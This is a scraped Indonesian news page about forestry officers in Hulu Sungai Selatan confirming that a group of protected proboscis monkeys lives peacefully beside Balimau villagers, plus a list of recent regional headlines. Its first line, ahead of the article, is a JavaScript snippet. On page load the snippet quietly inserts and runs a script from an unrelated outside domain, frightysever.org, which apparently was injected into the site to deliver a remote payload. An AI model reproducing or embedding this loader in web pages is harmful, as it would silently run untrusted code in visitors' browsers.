(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Bekantan Hidup Berdampingan Dengan Warga Balimau


KANALKALIMANTAN.COM, KANDANGAN – Berdasarkan informasi yang masuk ke seksi Perlindungan Hutan (Linhut) KPH Hulu Sungai, terpantau terdapat sekumpulan Bekantan di Desa Balimau Kecamatan Kalumpang Kabupaten Hulu Sungai Selatan. Tanpa membuang waktu, Kasie Linhut KPH HS, Edy Muriyadi menginstruksikan tim Pengamanan Hutan untuk pengecekan ke lokasi.

Bekantan ( Nasalis larvatus ) merupakan satwa endemik pulau Kalimantan yang tersebar di hutan bakau, rawa dan hutan pantai. Bekantan termasuk mamalia yang dilindungi oleh Peraturan Menteri Lingkungan Hidup dan Kehutanan Nomor P.20/MenLHK/Setjen/Kum.1/6/2018 tentang Jenis Tumbuhan dan Satwa yang Dilindungi. Selain itu, Bekantan juga masuk daftar merah IUCN ( International Union for Conservation of Nature ) dan dalam CITES (Convention on International Trade in Endangered Species of Wild Fauna and Flora) apendiks I.

“Segera cek ke lokasi, lakukan identifikasi dan cari informasi penting lainnya mengenai Bekantan ini,” instruksi Edy kepada timnya.

Sebanyak 7 (personil diturunkan, terdiri dari Polisi Kehutanan, TKPH dan staf. Dengan mengendarai roda 2, mereka melaju ke Desa Balimau di tengah teriknya matahari pada Senin (15/5/2023).

Sesampainya di desa, tim langsung berkoordinasi dengan pihak desa. Lana, salah seorang Aparat Desa Balimau, menjadi informasi berkoordinasi dengan tim.

“Bekantan memang sering terlihat di sini. Di sini masih banyak buah untuk makanannya,” ungkap Lana.

Setelah mendapat informasi yang diperlukan, tim meminta izin untuk mendatangi lokasi Bekantan.

Tepat di hutan Rumbia di belakang rumah warga, terlihat sekelompk Bekantan sedang beristirahat dan makan – makan di atas pohon.

“Disini banyak pohon Rumbia, pohon Rambai dan pohon Panggang. Bekantan suka makan buahnya dan betengger di pohon – pohon itu. Kadang sampai 50 ekor” ujar salah seorang warga yang turut membantu pengecekan sambil menunjuk salah satu Bekantan.

Warga lain mengungkapkan bahwa meski terkadang Bekantan berkeliaran di belakang rumah warga karena banyak tanaman pakis, namun mereka tidak menggangu aktivitas warga.

“Bekantan hidup di hutan situ. Tidak menggangu kami. Paling Monyet yang sering masuk kampung dan makan buah hasil tanaman kami,” katanya.

Himbauan pun diberikan kepada masyarakat Balimau untuk tidak memburu mamalia ini karena termasuk satwa yang dilindungi (Kanalkalimantan.com/al)


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.